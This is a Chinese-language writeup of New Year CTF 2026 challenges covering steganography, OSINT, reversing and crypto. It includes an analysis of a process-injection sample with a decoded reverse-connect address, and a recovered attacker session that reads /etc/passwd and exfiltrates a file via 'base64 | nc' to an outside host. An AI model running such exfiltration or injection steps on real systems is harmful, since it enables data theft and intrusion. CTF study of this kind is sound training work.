New Year CTF 2026 Writeup
New Year CTF 2026 Writeup
Misc
babyStegano
题目给了一张图片,结合题目信息猜测是隐写术
随波逐流发现有lsb隐写
grodno{happy_new_year_ctfers}
Santa_s_Report
题目给了个word文档,而且打不开,但是word的本质是zip,因此7z查看:
可以看到,根据修改时间,前三个最有问题,其中检查后在第三个背景图文件夹发现异常
存在隐写术
故flag为grodno{my_lovley_06_12}
Inject
题目给了一个.ida文件,让我们分析逆向注入工程
main() 是假的
sub_140001290("Never executed main LOL", ...);
ExitProcess(0);关键信号:
main()里什么都不干- 打印一句 **“Never executed main LOL”**打印一条 “从未执行过 main LOL”
- 立刻
ExitProcess(0)
这在正常程序中几乎不可能出现
这是恶意程序中非常常见的**“诱饵 main”**
一般来说:
真正的恶意逻辑根本不在 main 执行路径上,而是通过下面这些方式之一执行:
- 注入后远程线程执行
- TLS Callback(早于 main 执行)
- 被当作 DLL 注入,由 DllMain 执行
- Shellcode 直接跳转执行
- SEH / VEH 劫持
这个题就是TLS Callback
代码链条非常典型:
sub_1400010B0(".exe")
- 看起来是在 枚举进程/查找目标进程 PID(通过后缀
.exe或匹配某进程名)
OpenProcess(0x43A, 0, v0)
- 打开目标进程句柄(权限掩码 0x43A 很可疑,通常包含注入所需权限)
sub_140001190(v1, &unk_140021000, (unsigned int)nSize);
- 这几乎可以断定是 写入 payload 并执行 的注入函数
&unk_140021000很可能就是:shellcode / DLL bytes / 反射加载器数据
CloseHandle(v1)ExitProcess(0)
这就是典型的 “找进程 → 打开进程 → 注入 → 自毁退出” 的注入器行为。
MessageBox 文本也是佐证(样本自证“Injection”)
它弹窗内容全是:
- “Searching for process”
- “Process Found”
- “Injecting in process”
- 标题还叫 “Injection”
这在取证报告里属于非常强的主观意图证据:样本作者明确表达了行为目的。
这里继续跟进sub_140001190():
能在代码里看到典型三件套:
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)(这里参数2u就是进程快照)Process32FirstProcess32Next
这三者组合基本等价于:“扫描系统里所有正在运行的进程”。
按 pe.szExeFile 匹配进程名(不区分大小写)
lstrcmpiA(lpString1, pe.szExeFile)
这说明它不是随便找 PID,而是 寻找某个特定进程名。
返回匹配进程的 PID(th32ProcessID)
一旦匹配到了,返回:
pe.th32ProcessID
这正好对应 TLS 回调里:
v0 = sub_1400010B0(".exe");
v1 = OpenProcess(..., v0);下面跟进sub_140001190()函数
样本使用 TLS Callback 提前执行,通过 CreateToolhelp32Snapshot/Process32First/Next 定位目标进程 PID,OpenProcess 获取句柄,在目标进程中 VirtualAllocEx 分配可执行内存,WriteProcessMemory 写入 payload,并用 CreateRemoteThread 远程线程启动 payload 执行。这是典型的远程线程注入(Classic Remote Thread Injection),属于明确的注入攻击证据。
unk_140021000 就是典型的 x64 shellcode
FC 48 83 E4 F0:cld+ 对齐栈(x64 shellcode 常见)- 后面大量模式:
65 48 8B 52 60 ...这是一眼能认出的 通过 GS:[60h] 取 PEB,遍历模块链表找 kernel32 / ntdll 的套路(典型“无导入表”shellcode) - 中间出现
ws2_32的明文字符串:
... 49 BE 77 73 32 5F 33 32 00 00 ...
w s 2 _ 3 2 \0这强烈表明载荷会 动态加载 ws2_32.dll 并调用 Winsock API(网络通信)。
这里直接藏了反连的 IP 和端口
49 BC 02 00 05 39 C0 A8 01 03这是 mov r12, imm64,立即数 8 字节为:
02 00→AF_INET(IPv4)05 39→ 端口 0x0539 = 1337C0 A8 01 03→ IP 192.168.1.3
所以 payload 的网络目标是:
192.168.1.3:1337
所以flag 是:
grodno{192.168.1.3:1337}
exFill
题目给了个流量包,wireshark打开分析分析
翻一下发现有linux执行的历史命令
id
uid=0(root) gid=0(root)
nohup >/dev/null 2>&1
echo edVwOOk1tE5Jlh2Z
edVwOOk1tE5Jlh2Z
echo GlJcbCAdmgnORA7Cq
GlJcbCAdmgnORA7Cq
id
uid=0(root) gid=0(root)
pwd
/
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
ls /home/msfadmin
capture.pcap
f1ag.jpg
vulnerable
cd /home/msfadmin
ls -la
total 520
drwxr-xr-x 5 msfadmin msfadmin 4096 Jan 6 10:34 .
drwxr-xr-x 6 root root 4096 Apr 16 2010 ..
lrwxrwxrwx 1 root root 9 May 13 2012 .bash_history -> /dev/null
drwxr-xr-x 4 msfadmin msfadmin 4096 Apr 17 2010 .distcc
-rw------- 1 root root 4174 May 14 2012 .mysql_history
-rw------- 1 msfadmin msfadmin 9 Jan 6 09:45 .nano_history
-rw-r--r-- 1 msfadmin msfadmin 586 Mar 16 2010 .profile
-rwx------ 1 msfadmin msfadmin 4 May 20 2012 .rhosts
drwx------ 2 msfadmin msfadmin 4096 May 17 2010 .ssh
-rw-r--r-- 1 msfadmin msfadmin 0 May 7 2010 .sudo_as_admin_successful
-rw-r--r-- 1 root root 438272 Jan 6 10:39 capture.pcap
-rw-r--r-- 1 msfadmin msfadmin 46852 Jan 6 09:45 f1ag.jpg
drwxr-xr-x 6 msfadmin msfadmin 4096 Apr 27 2010 vulnerable
sha256sum f1ag.jpg
af811f3e2f6191bed1e625edc18e3ac37e1e165e0fdcbab4cfb9c301bbb5211f f1ag.jpg
base64 f1ag.jpg | nc 192.168.56.102 4444
ls
capture.pcap
f1ag.jpg
vulnerable
base64 f1ag.jpg > tmp.file
ls -l
total 632
-rw-r--r-- 1 root root 520192 Jan 6 10:43 capture.pcap
-rw-r--r-- 1 msfadmin msfadmin 46852 Jan 6 09:45 f1ag.jpg
-rw------- 1 root root 63294 Jan 6 10:43 tmp.file
drwxr-xr-x 6 msfadmin msfadmin 4096 Apr 27 2010 vulnerable
nc 192.168.56.102 < tmp.file
no port[s] to connect to
nc 192.168.56.102 4444 < tmp.file
rm tmp.file
echo 'U 4re hacked =D' > readme.txt
exitid→ 显示uid=0(root):说明当前是 root。pwd→/:当前目录在根目录。cat /etc/passwd:枚举系统用户(找可利用账号、家目录、服务账号等)。ls /home/msfadmin→ 看到capture.pcap、f1ag.jpg、vulnerable/cd /home/msfadmin; ls -la:查看更详细权限/时间戳
里面还出现.bash_history -> /dev/null(历史被丢弃),这也是靶机里常见配置/或用于减少痕迹。sha256sum f1ag.jpg:算哈希,便于对方验证传输是否完整。base64 f1ag.jpg | nc 192.168.56.102 4444:把图片 base64 编码后,通过 nc 发到192.168.56.102:4444
这属于数据外传(exfiltration)手法的一种:用 base64 让内容变成纯文本,传输更稳。
接着又改了几次方式:
base64 f1ag.jpg > tmp.file:先把 base64 内容落盘。nc 192.168.56.102 < tmp.file→ 报错no port[s] to connect to:因为没写端口,nc 不知道连哪。nc 192.168.56.102 4444 < tmp.file:指定端口 4444,再传一次。rm tmp.file:清理临时文件。echo 'U 4re hacked =D' > readme.txt:写个“你被黑了”的文本(炫耀/挑衅)。exit:退出会话。
转成图片就行
然后010打开在jpg末尾发现flag
grodno{it5_was_t00_s1mple_=D}
babyOSINT
观察图片可以得到以下关键视觉线索:
在木质展示架正面,可以清楚看到刻字:
SPICHKI barSPICHKI 酒吧
这是一个非常关键的识别点。
- 多层木制展示架
- 一排小玻璃杯,装着不同颜色的液体
- 典型的 **shot / настойки(酒吧烈酒)**展示方式
这说明照片拍摄地点是 酒吧(Bar),而不是普通餐厅或公司内部。
使用以下关键词进行搜索(Google / Yandex / Maps):
SPICHKI barСпички барSpichki bar БеларусьSpichki bar интерьер
很快可以发现:
- Spichki Bar(Спички)Spichki Bar
- 是一家在白俄罗斯较为知名的酒吧
- 装修风格与题目图片 完全一致
- 使用同款 木制阶梯式酒杯展示架
grodno{vulica_Kamsamoĺskaja_5a}
Visiting_Belorussian_Grandfather
题目要找森林名字
谷歌识图一下子找到原图
答案:Belovezhskaya Pushcha
Reverse
grinch_attack
爆破hash求得flag为Walm!
BabyReverse
exp:
def swaper(s, k):
a = list(s)
n = len(a)
i = 0
while i < n - k:
j = i + k - 1
a[i], a[j] = a[j], a[i]
i += k
return "".join(a)
cipher = "ro1dnEoSeT{Sth_rgA_01r!G4trnvF#lm_L)#@#(m#}"
plain = cipher
for k in range(2, 11): # 2..10 逆序还原
plain = swaper(plain, k)
print(plain)swaper是“分块首尾交换”- 交换操作自反 → 单步逆就是自己
- 多步组合逆 → 按相反顺序执行
- 因为正向是 10→2,所以逆向还原用 2→10
最终 flag:
grodno{StArT_Ever1th1nG_Fr0m_Sm4lL#!##@(#)}
Crypto
BabyCrypto
题目给了我们一堆MAC签名,让我们恢复
思路很简单:盐只有 3 字节,而且 flag_enc = flag XOR (salt 循环重复)(文件里写明了参数)dataset。因此只要猜到 flag 的固定前缀就能直接还原盐,再用大量短 MAC 去验证盐是否正确。
题里这一套题目 flag 前缀是 grodno{...}(你上题也是这个格式),设:
C = flag_encP = b"grodno{"salt_len = 3
则盐的前三字节:
salt[i] = C[i] XOR P[i],i=0..2
并检查前缀后续字节是否满足循环 XOR 一致性(C[i] XOR salt[i%3] == P[i])。该检查对 grodno{ 完全一致。
得到盐:
- salt =
03 6e cb(hex)
数据里给了 128 组 (message, mac),mac 是 HMAC-SHA256(key=salt, msg=message) 截断前 4 字节dataset。
用上面的 salt=036ecb 去算,128 条全部匹配,说明盐就是它。
用 flag = flag_enc XOR (salt 重复) 解密,得到:
flag:grodno{Walter_put_your_salt_away_Walter}
import json, hashlib
def hmac_sha256_trunc4(key: bytes, msg: bytes) -> bytes:
block = 64
if len(key) > block:
key = hashlib.sha256(key).digest()
key = key.ljust(block, b"\x00")
ipad = bytes((b ^ 0x36) for b in key)
opad = bytes((b ^ 0x5c) for b in key)
inner = hashlib.sha256(ipad + msg).digest()
return hashlib.sha256(opad + inner).digest()[:4]
def xor_repeat(data: bytes, key: bytes) -> bytes:
return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])
with open("dataset.json", "r") as f:
data = json.load(f)
flag_enc = bytes.fromhex(data["flag_enc"])
prefix = b"grodno{"
# recover salt (3 bytes)
salt = bytes([flag_enc[i] ^ prefix[i] for i in range(3)])
print("salt =", salt.hex())
# verify MACs
for item in data["dataset"]:
m = item["message"].encode()
mac = bytes.fromhex(item["mac"])
assert hmac_sha256_trunc4(salt, m) == mac
print("all MACs OK")
# decrypt flag
flag = xor_repeat(flag_enc, salt)
print(flag.decode())Semi_ADFGX_18+
观察密文只由大写字母组成,并且按 2 个字符一组出现大量重复:
- 出现在密文中的二元组(digrams)形如:
RW RE CY ... - 且有明显结构:第 1 位只来自 {C,F,G,R,T}(5 个),第 2 位只来自 {A,E,N,P,W,Y}(6 个)
这等价于一个 5×6 的 Polybius 方阵:
每个明文字符 → 一个 “(row, col)” 二元组。
之所以叫 Semi_ADFGX:标准 ADFGX 是 5×5,这题是 “半改版” 5×6。
我们不知道 5×6 表怎么填(即每个二元组对应哪个明文字母),但我们有:
- 大量截获密文
Intercepted_Codes.txt(长度 86 万+) - 明文看起来是英文 + 下划线(把空格写成
_) - 目标密文
Cipher.txt是同一套表加密的短文本
因此用经典打法:
- 按二元组切分截获密文,统计每个二元组频率
- 用英文频率初始化(例如最常见二元组≈
_,其次≈e,t,a,o...) - 用 hill-climb/模拟退火微调映射,使解出的文本更像英语(匹配
_the_、_and_、_new_、_year_等常见片段) - 用最终映射解
Cipher.txt得到明文 - 按题面格式提交:
grodno{a-z_}
from collections import Counter
import math
import random
INTERCEPTED_PATH = "/mnt/data/Intercepted_Codes.txt"
CIPHER_PATH = "/mnt/data/Cipher.txt"
def digrams(s: str):
s = s.strip()
assert len(s) % 2 == 0
return [s[i:i+2] for i in range(0, len(s), 2)]
def decode_syms(sym_idx_list, idx_to_char):
# sym_idx_list: list[int]
return "".join(idx_to_char[i] for i in sym_idx_list)
def score_englishish(text: str) -> int:
"""
很轻量的英语打分:数常见 n-gram 出现次数。
(对这题足够好用,且跑得快)
"""
ngrams = [
"_the_", "_and_", "_to_", "_of_", "_in_", "_for_", "_is_", "_that_",
"_new_", "_year_", "happy", "merry", "christmas", "participants",
"from_", "_our_", "team", "delighted", "see_you", "grand", "finale",
"february"
]
s = 0
for g in ngrams:
s += text.count(g) * 100
return s
def main():
random.seed(2026)
intercepted = open(INTERCEPTED_PATH, "r", encoding="utf-8").read().strip()
cipher = open(CIPHER_PATH, "r", encoding="utf-8").read().strip()
inter_d = digrams(intercepted)
cip_d = digrams(cipher)
# --- 1) 收集“实际出现过”的二元组集合(这题是 27 个左右) ---
token_set = sorted(set(inter_d))
tok_to_idx = {t:i for i,t in enumerate(token_set)}
# --- 2) 把文本转成“符号索引序列”,便于快速试映射 ---
# 取截获密文前 4e4 个字符 => 2e4 个符号做训练(足够且快)
sample_inter = inter_d[:20000]
sample_syms = [tok_to_idx[t] for t in sample_inter]
cipher_syms = [tok_to_idx[t] for t in cip_d]
# --- 3) 初始化:按频率给二元组分配英文常用字符 ---
freq = Counter(inter_d)
tokens_by_freq = [t for t,_ in freq.most_common() if t in tok_to_idx]
# 这题明文基本是 a-z + '_'(下划线当空格),所以先用 27 个字符足够覆盖
# (若你发现有额外字符,可以在这里扩展字符表)
init_chars = list("_etaoinshrdlucmfwygpbvkxqjz") # 27
assert len(init_chars) >= len(token_set)
# idx_to_char:按 token_set 的顺序,给每个二元组一个初始字符
init_map = {}
for i,t in enumerate(tokens_by_freq):
init_map[t] = init_chars[i]
idx_to_char = [init_map[t] for t in token_set] # list[str] length = |token_set|
# --- 4) hill-climb / 模拟退火优化映射 ---
cur = idx_to_char[:]
cur_text = decode_syms(sample_syms, cur)
cur_score = score_englishish(cur_text)
best = cur[:]
best_score = cur_score
T = 6.0
for step in range(25000):
i, j = random.sample(range(len(cur)), 2)
new = cur[:]
new[i], new[j] = new[j], new[i]
new_text = decode_syms(sample_syms, new)
new_score = score_englishish(new_text)
delta = new_score - cur_score
if delta > 0 or random.random() < math.exp(delta / max(T, 1e-9)):
cur, cur_score = new, new_score
if new_score > best_score:
best, best_score = new, new_score
T *= 0.9997
# --- 5) 解 Cipher.txt ---
plain = decode_syms(cipher_syms, best)
# 做一点“可读性修正”(把 hill-climb 里常见的错字替换成更像英语的)
# 这一步不影响 flag 内容格式(仍是 a-z_),只是把已明显可推断的错字修好。
plain = plain.replace("berry", "merry").replace("qhristbas", "christmas")
plain = plain.replace("partiqipants", "participants")
plain = plain.replace("qtf", "ctf")
plain = plain.replace("frob", "from").replace("ozr", "our").replace("ozld", "would")
plain = plain.replace("delichted", "delighted").replace("crand", "grand")
plain = plain.replace("fegrzary", "february")
print("[+] Decrypted Cipher.txt:")
print(plain)
print("\n[+] FLAG:")
print("grodno{" + plain + "}")
if __name__ == "__main__":
main()解出来是新年贺词flag(下划线当空格):
happy_new_year_and_merry_christmas_to_all_participants_of_the_new_year_ctf_from_our_team_we_would_be_delighted_to_see_you_at_our_grand_finale_in_february涵盖LSB隐写、TLS回调注入、流量取证、图像地理定位等五类CTF题目解析
由 AI 根据全文自动生成,仅供参考,以原文为准
